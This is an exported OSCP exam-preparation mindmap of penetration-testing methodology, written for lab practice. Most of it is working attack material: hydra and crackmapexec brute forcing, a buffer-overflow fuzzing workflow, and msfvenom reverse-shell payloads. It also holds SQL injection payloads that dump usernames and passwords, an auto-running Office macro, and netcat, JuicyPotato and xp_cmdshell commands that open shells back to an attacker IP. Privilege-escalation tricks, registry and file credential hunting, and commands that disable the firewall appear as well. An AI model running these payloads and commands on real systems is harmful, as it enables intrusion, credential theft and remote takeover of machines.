Map 1
Avasdream's OSCP Methodology Mindmap
  Exploitation
    Bruteforce
      ftp
        hydra -l root -P Path/to/dictionary/wordlist.txt X.X.X.X ftp
      ssh
        hydra -l root -P Path/to/dictionary/wordlist.txt X.X.X.X ssh
      smb
        crackmapexec smb --continue-on-success -u ./users.txt -p ./pw.txt -d svcorp $ip
    Password Spraying
      Github Tool
    cross compile
      windows x86
        i686-w64-mingw32-gcc adduser.c -o adduser.exe
    Buffer Overflows - Windows
      Setup Immunity
        Set work mona work folder
          !mona config -set workingfolder c:\mona\%p
      Setup python script
        # -*- coding: utf-8 -*-
      Fuzzing
      Create Pattern
        msf-pattern_create -l 2000
      Pattern at EIP
        msf-pattern_offset -l 2000 -q 6F43396E
      If necessary determine how many bytes fit in the buffer by appending "D"
        payload = "C" * (2000 - 4 ) + "D" * 4
      Find Bad Chars
        Practice finding bad characters not only with the mona script but also manual!
        Generate Byte Array Immunity cli
          !mona bytearray -b "\x00"
          !!! - Recheck bytearray file type
        Generate Array / local
          for i in {0..255}; do printf "\\\x%02x" $i;done
        Put the chars before the Cs in the Buffer
          before
            payload = "C" *(2000 - offset - 4)
          after
            payload = badchars + "C" *(2000 - offset - 4 - len(badchars))
        Copy Address where ESP is pointing to
        Compare Address with array
          !mona compare -f C:\mona\oscp\bytearray.txt -a 019DFA30
          !!! - Only the first Byte is a Badchar
        Note Bad chars and repeat
      Find jmp esp instruction
        !mona jmp -r esp -cpb "$badchars"
        !mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x0a\x0d"
        Correct Endian!!!
          0x625011bb IS \xbb\x11\x50\x62 NOT \x62\x50\x11\xbb
      Recheck jmp esp
        Click "Go to address in dissasembler"
        Breakpoint -> Toggle
        Run Exploit again
          Success -> Breakpoint was hit.
      Generate Shellcode
        msfvenom -p windows/shell_reverse_tcp LHOST=10.9.161.240 LPORT=53 EXITFUNC=thread -b "\x07\x08\x2e\x2f\xa0\xa1" -f py
        Add padding of 16 NOPs
          padding = "\x90" * 16
        Add shellcode
      Errors made while practicing
        NOPs -> \x90 NOT \x00
        Some programs need a fix buffer length. In this case us a total_length variable to keep the length consistent.
    Metasploit
      msfvenom
        reverse shell
          powershell
            msfvenom –p windows/meterpreter_reverse_http –f psh –out shell.ps1 LHOST=127.0.0.1 LPORT=1337
          exe
            x64
              msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$IP LPORT=443 -a x64 -f exe > shell.exe
          asp
            msfvenom -p windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f asp > shell.asp
          hta
            msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f hta-psh -o out.hta
        msfvenom --list payloads
        msfvenom --list formats
        cheat sheets
      handler
        Read this and use RC files!
        rc files
        msfconsole -r init.rc
      meterpreter
    Reverse shells
      PHP
      PayloadAllTheThings
    ldap
      null bind
    Client Side
      MS Office
        Macro
          create hta payload
          copy powershell string and use python to cut to multiple lines with the length 40
            n=50 for i in range(0, len(str), n):
print "Str = Str + " + '"' + str[i:i+n] + '"'
          create document and add macro
          save as .docm or doc NOT docx
          Attention: Make sure to persistently embed the macro. This is the reason the exploit fails in the lab!
        Embed Object
          Create *.bat file
    POP3
      manually read emails
        telnet $ip
        USER $username
        PASS $password
        LIST
        RETR $id
    searchsploit
      copy to path
        searchsploit -m $path
      examine exploit
        searchsploit -x $path
    SQL
      MSSQL
        sqsh -S $ip -U sa -P "sa"
        xp_cmdshell 'whoami';
        enable cmdshell command
          EXEC sp_configure 'show advanced options', 1;
          RECONFIGURE;
          EXEC sp_configure 'xp_cmdshell', 1;
          RECONFIGURE;
        Generate powershell revshell / extract .hta oneliner
        xp_cmdshell 'powershell.exe -NoP -NonI -W Hidden -Exec Bypass -e $payload
        nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa2,ms-sql-xp-cmdshell.cmd="whoami" $ip
      SQL Injection
        sqlmap
          search for injection
            sqlmap -u $url_with_param --dbms mssql
          list databases
            sqlmap -u $url --dbms mssql --dbs
          list tables
            sqlmap -u $url --dbms mssql -D $databasename --tables
          Shell
            sqlmap -u $url --dbms mssql --os-shell
          users and passwords
            sqlmap -u $url --dbms mssql --batch --users --passwords
          Retrieve all data in non interactive mode
            sqlmap -u $url --dbms mssql --all --batch
        manually
          Cheatsheets
          check for error in response
            '";--#
          In Where Statement, retrieve all, overwrite condition
            category=Clothing'+or+1=1--
          Auth bypass
            admin' or 1=1--
          UNION
            Pre Conditions
              Same number of columns
              Similar datatypes
              Same order
            How many columns are returned from the original query? Null is used because it suits all datatypes.
              ' ORDER BY 1--
              ' ORDER BY 2--
              ' UNION SELECT NULL--
              ' UNION SELECT NULL,NULL--
              Oracle
                ' UNION SELECT NULL FROM DUAL--
            Find column with useful data type
              ' UNION SELECT 'a',NULL,NULL,NULL--
              ' UNION SELECT NULL,'a',NULL,NULL--
              ' UNION SELECT NULL,NULL,'a',NULL--
            Retrieve Data
              ' UNION SELECT username, password FROM users--
              multiple columns by concatenation
                ' UNION SELECT username || '~' || password FROM users--
              Oracle version
                Pets' union SELECT banner,null FROM v$version --
              MSSQL /MySQL
                Whitespace after "-- " is important!
                  category=Pets%27%20union%20select%20null,@@version--%20
                check data type
                  category=Corporate+gifts%27%20union%20select%20null,%27a%27--%20
              Non Oracle Databases
                table_name
                  category=Corporate+gifts%27%20union%20select%20null,table_name%20from%20information_schema.tables--%20
                  category=Corporate gifts' union select null,table_name from information_schema.tables--
                column_name
                  category=Corporate+gifts%27%20union%20select%20null,column_name%20from%20information_schema.columns%20where%20table_name=%27users_wzagyu%27--%20
                  category=Corporate gifts' union select null,column_name from information_schema.columns where table_name='users_wzagyu'--
                username and password
                  category=Corporate+gifts%27%20union%20select%20null,username_mwqvgs||%27-%27||password_xljcje%20from%20users_wzagyu--%20
                  category=Corporate gifts' union select null,username_mwqvgs||'-'||password_xljcje from users_wzagyu--
              Oracle Database
                table name
                  category=Pets%27%20UNION%20SELECT%20NULL,table_name%20FROM%20all_tables--
                  category=Pets' UNION SELECT NULL,table_name FROM all_tables--
                column_name
                  category=Pets%27%20UNION%20SELECT%20NULL,column_name%20FROM%20all_tab_columns%20where%20table_name=%27USERS_APAYBZ%27--
                  category=Pets' UNION SELECT NULL,column_name FROM all_tab_columns where table_name='USERS_APAYBZ'--
                username_password
                  category=Pets%27%20UNION%20SELECT%20NULL,USERNAME_KPJYRP%20||%27-%27||%20PASSWORD_HFCUFE%20FROM%20USERS_APAYBZ--
                  category=Pets' UNION SELECT NULL,USERNAME_KPJYRP ||'-'|| PASSWORD_HFCUFE FROM USERS_APAYBZ--
    FTP
      vsftpd
        2.3.4
    SMB
      Samba smbd 3.0.20-Debian
        Versions: Samba 3.0.0 - 3.0.25rc3 (inclusive)
    Local/Reomte File Inclusion
    IIS PUT method
    Shellshock
      sudo python shellshock.py payload=reverse rhost=$IP rport=80 lhost=$ip lport=443 pages=/cgi-bin/user.sh
    Nishang
      Invoke powershell TCP
        Download
          https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
        Add reverse Connection at the end
          Invoke-PowerShellTcp -Reverse -IPAddress $ip -Port 1339
        Execute
          powershell -ep bypass .\Invoke-PowerShellTcp.ps1
  @avasdream_
    AvasDream
      https://avasdream.engineer
  Post Exploitation
    File transfer
      HTTP
        serve
          python3 -m http.server $port
          python -m SimpleHTTPServer $port
        get
          powershell wget clone
          vbs wget clone
        upload powershell
          ERRORS
            AN Exception occured during webclient request
              Close other programs which access the file! Is the Filename correct?
          powershell (New-Object System.Net.WebClient).UploadFile('http://ip/upload.php', 'important.docx')
        download powershell
          (New-Object System.Net.WebClient).DownloadFile($url, $output)
          powershell (New-Object System.Net.WebClient).DownloadFile('http://$ip/plink.exe', 'plink.exe')
        upload linux
      FTP
        windows
          non-interactive
          ftp -v -n -s:ftp.txt
          HTB
        linux
        delete ftp user
          sudo pure-pw userdel offsec
          sudo pure-pw useradd offsec -u ftpuser -d /ftphome
          sudo service pure-ftpd restart
      TCP
        netcat
          nc -l -p 1234 > out.file
          nc -w 3 [destination] 1234 < out.file
    privilege escalation
      Windows
        cmd
          general information
            systeminfo
          user and groups info
            net user
            whoami /groups
            whoami /priv
          list processes
            tasklist
            tasklist /SVC
            wmic process
          services
            list all
              wmic
                wmic service list brief
                  for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
                  for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
                wmic service list full
              sc
                sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
                  FOR /F %i in (Servicenames.txt) DO echo %i type Servicenames.txt
                  FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
                  FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
                  check with cacls
            restart service
              by restarting service directly
                net stop $name
                wmic service $name call startservice
              by restarting the host
                wmic service where caption="$name" get name, caption, state, startmode
                  check if auto start enabled
                check if SeShutdownPrivilege
                  whoami /priv
                shutdown /r /t 0
          list network interfaces
            ipconfig /all
          list drivers
            driverquery /v
            driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path
          routes
            route print
            arp -A
          list ports
            netstat -ano
          list scheduled tasks
            schtasks /query /fo LIST /v
          installed applications
            wmic product get name, version, vendor
          system patches
            wmic qfe get Caption, Description, HotFixID, InstalledOn
          check permissions
            icacls "C:\Program Files\Serviio\bin\ServiioService.exe"
          firewall rules
            netsh advfirewall show currentprofile
            netsh advfirewall show allprofiles
            netsh advfirewall firewall show rule name=all
            netsh firewall show state
            netsh firewall show config
            disable firewall
              advfirewall set allprofiles state off
              netsh advfirewall set allprofiles state off
          Autoelevate set
            reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
            reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
          sysinternals tools
            list writable programs
              accesschk.exe -uws "Everyone" "C:\Program Files"
          search sensitive information
            findstr /si password *.txt
            findstr /si password *.xml
            findstr /si password *.ini
            dir /s *pass* == *cred* == *vnc* == *.config*
            findstr /spin "password" *.*
            dir c:\*vnc.ini /s /b
            dir c:\*ultravnc.ini /s /b
            dir c:\ /s /b | findstr /si *vnc.ini
            reg query HKLM /f password /t REG_SZ /s
            reg query HKCU /f password /t REG_SZ /s
            file locations
              c:\sysprep.inf
              c:\sysprep\sysprep.xml
              c:\unattend.xml
              %WINDIR%\Panther\Unattend\Unattended.xml
              %WINDIR%\Panther\Unattended.xml
            Registry
              VNC
                reg query "HKCU\Software\ORL\WinVNC3\Password"
              Autologin
                reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
              SNMP
                reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
              Putty
                reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
            file types
              dir /s /b *.conf
            keepass database
              dir /s /b *.kdbx
          environment variables
        powershell
          run as Admin
            powershell.exe Start-Process cmd.exe -Verb runAs
          list running services
            Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}
          list driver info by name
            Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}
          writable programs
            Get-ChildItem "C:\Program Files" -R ecurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}
          check for WSL
            bash -c whoami
        scripts
          sharpup
          windows exploit suggester next generation
            python wes.py $systeminfo-output.txt -e -i Elevation of Privilege
          windows exploit suggester
            python windows-exploit-suggester.py --database 2020-09-09-mssb.xls --systeminfo systeminfo.txt
        UAC bypass
          windows 10
            fodhelper.exe
        methods
          winXP - upnp service binary
            sc config upnphost binpath= "hello"
            sc config upnphost
            exploit
              sc config upnphost binpath= "C:\Inetpub\nc.exe $IP $PORT -e c:\Windows\system32\cmd.exe"
              sc config upnphost obj= ".\LocalSystem" password= ""
              sc qc upnphost
              net start upnphost
          unquoted service paths
            wmic
              wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
            sc
              sc query
              sc qc service name
          Group policy preference
            set
              look for
                LOGONSERVER=\\NAMEOFSERVER
                USERDNSDOMAIN=WHATEVER.LOCAL
          UsoSvc binpath
            sc stop UsoSvc
          juicy potato
            whoami /priv
              SeImpersonatePrivilege
            JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\inetpub\wwwroot\nc.exe -e cmd.exe $ip $port" -t *
            search the correct CID
              sc query
              check service list from website
          nt authority\network service on "old" win
            churrasco.exe ""C:\Inetpub\nc.exe $ip $port -e c:\Windows\system32\cmd.exe""
          Kernel Exploits
        reverse shells
          "C:\Inetpub\nc.exe $ip 1337 -e c:\Windows\system32\cmd.exe"
      Checklist
      linux
        user information
          id
          cat /etc/passwd
        OS version
          cat /etc/release
          uname -a
          cat /etc/issue
        list interfaces
          ip a
          ifconfig
        list processes
          ps aux
          ps -eo user -eo pid -eo args
        routes
          route
          routel
        list ports
          netstat -tulpn
          ss -anp
        list scheduled tasks
          ls -lah /etc/cron*
          cat /etc/crontab
        cron jobs
          grep "CRON" /var/log/cron.log
          cat /etc/crontab
          check for insecure file permissions on scripts
            ls -lah /var/scripts/example.sh
        scripts
          ./LinEnum -t 1
          ./LinPeas.sh
        GTFO bins
        suid bit set
          find / -perm -u=s -type f 2>/dev/null
        Find files with permission X
          find /bin/ -perm /o=w
        list kernel modules
          lsmod
          /sbin/modinfo $module
        installed packages
          dpkg -l
        compare time delta of processes
          monitor.sh
            for i in $(seq 1 20);
do ps -eo pid -eo user -eo args >> output_$i.log;
done;
            for i in $(seq 1 20);do diff output_$i.log output_$(($i-1)).log;done;
        methods
          Switch to different user if multiple passwords known
            su $user
          NOPASSWD in sudoers file
            sudo -u root /bin/nano /root/root.txt
          Hijack tmux Session
            tmux -S /.devs/dev_sess
    Pivoting
      Windows
        plink.exe
          remote port forwarding
            cmd.exe /c echo y | plink.exe -ssh -l kali -pw password -R kali_host:kali_port:127.0.0.1:3306 kali_host
        ncat.exe
          dynamic ssh tunnel
            update proxychains
          http proxy
            ncat -vv --listen 3128 --proxy-type http
            sudo nano /etc/proxychains.conf
      Linux
        ssh -L8443:127.0.0.1:8443 $user@$ip
  Passive Information Gathering
  Active Information Gathering
    open ports
      masscan
        masscan 10.11.0.0/16 -p0-65535 -oG all.tcp --rate 2000
      nmap
        nmap -sV -sC -p- --min-rate 1000 -oN all.tcp
        nmap -sU --min-rate 1000 -p- -oN all.udp
        Nmap script
          Search script
            locate *.nse
            locate *.nse | grep mysql
          combine script usage
            nmap --script "vuln and safe" $host
          Mysql
            nmap -p 3306 --script mysql-* $host
            nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
      naabu
        naabu -p - $ip
        !!! - naabu missed some ports. Not sure if my fault due to misconfig. TODO
    protocols
      http/https
        content discovery
          wfuzz
            wfuzz -t 64 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt --hc 400
            more extensive wordlist
              wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 -t 128 http://$ip/FUZZ
          dirb
            dirb http://$target
        TLS/SSl check
          sslyze --regular $target
        Vuln scans
          Nikto
            nikto -h $target
        cms
          drupal
            install droopescan
              pip3 install droopescan
              PATH=$PATH:/home/kali/.local/bin
            droopescan scan drupal -u http://$url
      DNS
        Normal lookup
          host -a $domain
        Zone transfer
          host -l $domain $dns_server
        dnsrecon
          dnsrecon -d $domain -t axfr
        dnsenum
          dnsenum $domain
        reverse lookup
          host $ip $dns_server
          dnsrecon -r 127.0.0.0/24 -n $ip
        nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" $ip
      SMB
        nmap
          nmap -p 445 --script smb-vuln $host
          nmap -v -p 139, 445 --script=smb-os-discovery $ip
        smbmap
          smbmap -H $ip
          smbmap -u guest -p "" -H $ip
          smbmap -R $share -H $ip
          smbmap --download general/creds.txt -H $ip
        enum4linux
          enum4linux $ip
          enum4linux -w WORKGROUP $ip
        nbtscan
          nbtscan $ip
        smbclient
          smbclient //10.11.1.231/Home
      ldap
        null bind
          nmap -n -sV --script "ldap* and not brute" $ip
          python
            Code
            get all objects
              connection.search('dc=DOMAIN,dc=DOMAIN', '(objectclass=*)')
              connection.entries
          ldapsearch -h $ip -p 389 -x -b "dc=htb,dc=local"
          ./windapsearch.py -d hb.local -U --dc-ip $ip
      kerberos
        nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" $ip
      RPC
        impacket-rpcdump $IP
        rpcclient -U "" -N
  Misc
    Python
      virtualenv
        virtualenv .venv
        source .venv/bin/activate
      upgrade shell
        python -c 'import pty; pty.spawn("/bin/bash")'
        python3 -c 'import pty; pty.spawn("/bin/bash")'
        Shell in Background
          STRG+Z
        stty raw -echo
        Shell in foreground
          fg
        reset
        export SHELL=bash
        export TERM=xterm-256color
        Unknown $TERM xterm-256color
          export TERM=xterm
        Get rows and cols - in kali
          tput cols
          tput rows
        stty rows <num> columns <cols>
    network traffic
      tcpdump -i eth0 icmp
      tcpdump -i eth0 host $ip
      tcpdump -i eth0 dst $ip
    powershell
      hash file
        Get-FileHash .\Desktop\story-macro.doc -Algorithm MD5
    Samba client
      error
        protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
      /etc/samba.smb.conf
        client min protocol=NT1
    cmd
      change permissions
        icacls root.txt /grant alfred:F
How to work with this mindmap.
Copy this map for every host you analyze
Set the nodes for steps you have done to "crossed"
Advantage: Visual feedback on how far you are
This mindmap is far from complete. Please customize it to your needs :)
Happy Hacking!
https://github.com/Arken2/Everything-OSCP/blob/master/Checklists/WindowsBufferOverflowChecklist.pdf
https://github.com/Tib3rius/Pentest-Cheatsheets/blob/master/exploits/buffer-overflows.rst
This avoids the unknown byte error.
import socket, time, sys
ip = "$ip"
port = $port
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
#!/usr/bin/env python
from __future__ import print_function
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/
https://medium.com/@nmappn/msfvenom-payload-list-77261100a55b
https://netsec.ws/?p=331
https://docs.rapid7.com/metasploit/resource-scripts/
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $ip
set LPORT 1337
set ExitOnSession false
exploit -j -z
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
Sub AutoOpen()
exploit
End Sub
Sub Document_Open()
exploit
End Sub
Sub exploit()
Str = "AABzACkAOwA="
CreateObject("Wscript.Shell").Run Str
End Sub
https://forums.offensive-security.com/showthread.php?36265-What-am-I-doing-wrong-!
https://www.adampalmer.me/iodigitalsec/2013/08/10/accessing-and-hacking-mssql-from-backtrack-linux/
https://medium.com/@ranakhalil101/hack-the-box-tally-writeup-w-o-metasploit-b8bce0684ad3
https://portswigger.net/web-security/sql-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
https://portswigger.net/web-security/sql-injection/cheat-sheet
https://gracefulsecurity.com/sql-injection-cheat-sheet-mysql/
https://www.hackingtutorials.org/metasploit-tutorials/exploiting-vsftpd-metasploitable/
MSF module available: https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script
Manually exploitation w/o msf:
https://github.com/amriunix/CVE-2007-2447
https://www.samba.org/samba/security/CVE-2007-2447.html
https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/
https://medium.com/@nmappn/grandpa-w-o-metasploit-fa964cb260d4
Searchsploit:
Apache mod_cgi - 'Shellshock' Remote Command Injection | linux/remote/34900.py
https://twitter.com/avasdream_
https://github.com/AvasDream
https://avasdream.engineer
Ressources:
https://sushant747.gitbooks.io/total-oscp-guide/content/transfering_files.html
Paste:
The ps1 script from the OSCP PDF.
Execute:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
Paste:
The vbs script from the OSCP PDF
Execute:
cscript wget.vbs http://$ip/evil.exe evil.exe
https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
echo open 10.10.14.5 21> ftp.txt
echo USER $username>> ftp.txt
echo $password>> ftp.txt
echo bin>> ftp.txt
echo GET churrasco.exe>> ftp.txt
echo GET nc.exe>> ftp.txt
echo bye>> ftp.txt
ftp -v -n -s:ftp.txt
Paste:
echo open $ip 21> ftp.txt
echo USER asshat>> ftp.txt
echo mysecretpassword>> ftp.txt
echo bin>> ftp.txt
echo GET wget.exe>> ftp.txt
echo bye>> ftp.txt
Execute:
ftp -v -n -s:ftp.txt
echo open 10.10.14.5 21> ftp.txt
echo USER $username>> ftp.txt
echo $password>> ftp.txt
echo bin>> ftp.txt
echo GET churrasco.exe>> ftp.txt
echo GET nc.exe>> ftp.txt
echo bye>> ftp.txt
ftp -v -n -s:ftp.txt
Installation Kali: OSCP PDF Page 477
Ressources:
https://github.com/vitalysim/Awesome-Hacking-Resources#privilege-escalation
Ressources:
To be Done:
https://guif.re/windowseop
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation
https://oscp.infosecsanyam.in/priv-escalation/windows-priv-escalation/checklist-local-windows-privilege-escalation
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/frizb/Windows-Privilege-Escalation
https://securism.wordpress.com/oscp-notes-privilege-escalation-windows/
http://strongcourage.github.io/2020/04/17/winprivesc.html
https://oscp.securable.nl/privilege-escalation
https://www.fuzzysecurity.com/tutorials/16.html
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://joshruppe.com/basic-windows-enumeration/
Done:
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
Scripts:
https://github.com/GhostPack/SharpUp
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS
https://github.com/bitsadmin/wesng
https://github.com/pentestmonkey/windows-privesc-check
FROM: PDF site 553
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v Delega
teExecute /t REG_SZ
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.e
xe" /f
RUN
C:\Windows\system32\fodhelper.exe
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
Search through output and check if service path is unquoted.
If the machine belongs to domain and has access to "System Volume Information" maybe the groups.xml file can be read which contains passwords.
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
Group policy preference
https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/juicypotato#juicy-potato-abusing-the-golden-privileges
https://github.com/breenmachine/RottenPotatoNG
https://github.com/ohpe/juicy-potato
http://ohpe.it/juicy-potato/CLSID/
http://ohpe.it/juicy-potato/CLSID/
https://www.notion.so/Windows-Privelege-Escalation-via-Token-Kidnapping-d40705518bf343438f9fcd8be0b2f0d3
https://github.com/SecWiki/windows-kernel-exploits
https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation
https://payatu.com/guide-linux-privilege-escalation
http://pentestmonkey.net/tools/audit/unix-privesc-check
https://github.com/DominicBreuker/pspy
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://gtfobins.github.io/
https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/
Service is running on port X on the victim/windows machine. Connect port X to your local kali machine on port Y. Access target service by connceting to port Y on your kali machine.
https://github.com/cyberisltd/NcatPortable
https://nullsweep.com/pivot-cheatsheet-for-pentesters/
http 10.11.1.31 3128
To be done. This was not that necessary for the exam and due to time constraints I skipped it. Don't be like me.
-sC - default scripts
-sV - version detection
--min-rate - scan with minimum rate xxxx
-oN - svae in nmap format to file
-sU - UDP scanning
https://book.hacktricks.xyz/pentesting/pentesting-network
Set found DNS names to access webpages.
sudo nano /etc/hosts
1.1.1.1 lab-domain.local
https://book.hacktricks.xyz/pentesting/pentesting-ldap
import ldap3
# If SSL enabled
server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
connection = ldap3.Connection(server)
connection.bind()
server.info
If this succeeds see exploitation->ldap
https://www.hackthebox.eu/home/machines/profile/212
https://netsec.ws/?p=337
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
Some tools may not work if you fuck up your smb config in kali! Be aware of this and always backup your config.